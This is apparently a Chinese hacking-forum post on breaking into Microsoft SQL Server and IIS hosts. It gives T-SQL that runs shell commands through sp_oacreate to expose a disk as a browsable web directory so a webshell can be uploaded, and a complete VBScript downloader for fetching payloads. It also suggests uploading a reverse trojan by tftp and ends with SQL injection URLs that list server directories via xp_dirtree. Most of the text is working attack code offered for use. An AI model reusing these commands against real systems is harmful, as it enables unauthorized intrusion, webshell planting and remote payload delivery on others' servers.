如果得不到网页目录,怎么办呢?前提你要猜到网站是否使用默认WEB,或者使用域名作为WEB。

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "默认Web 站点" -v "e","e:\"'
在默认的WEB站点下创建一个虚拟目录E,指向E:盘下。

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse'
给虚拟目录e加上浏览属性不错吧。

给自己开虚拟服务。

想那些网页目录路径,头都快破了。

这下给自己一个天开眼了。

那传WEBSHELL利用MS
SQL为我们的工作告了一段落了,接下来工作应该由你来了。

哈哈,方法不错哟,通过注册表来读,方便快捷!
优缺点分析:
优点当然是方便快捷了。

缺点是只能察看默认的iis站点的路径,如果不再默认的站点那就无能为力了(我用regsnape跟踪过),如果在2003下
那就是连默认的站点路径也不显示了!痛苦中
顺便说两句,实际上除了找网站路径的方法外,还是有别的方法来继续入侵的,比如说通过tftp来上传反弹木马,或者是通过写一个iget.vbs来下载你想要的东东
iget.vbs代码如下:
---------start----------
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------end-----------
对此文的在补充:
近日发现对毛主席大人的指示理解不够深刻,特在此表示补充
实际上上面的各种方法根本就不需要比较了xp_dirtree是最好的,只要这一种方法就够了
只是因为我当初太..............
今日将xp_dirtree的秘密再挖一下
好,我们exec master..xp_dirtree'd:/test'
假设我们在test里有两个文件夹test1和test2在test1里又有test3
结果显示
subdirectory depth
test1 1
test3 2
test2 1
哈哈发现没有那个depth就是目录的级数
ok了,知道怎么办了吧
/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- /down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- /down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)- 只要加上id=1,就是第一级目录。

相关文档
最新文档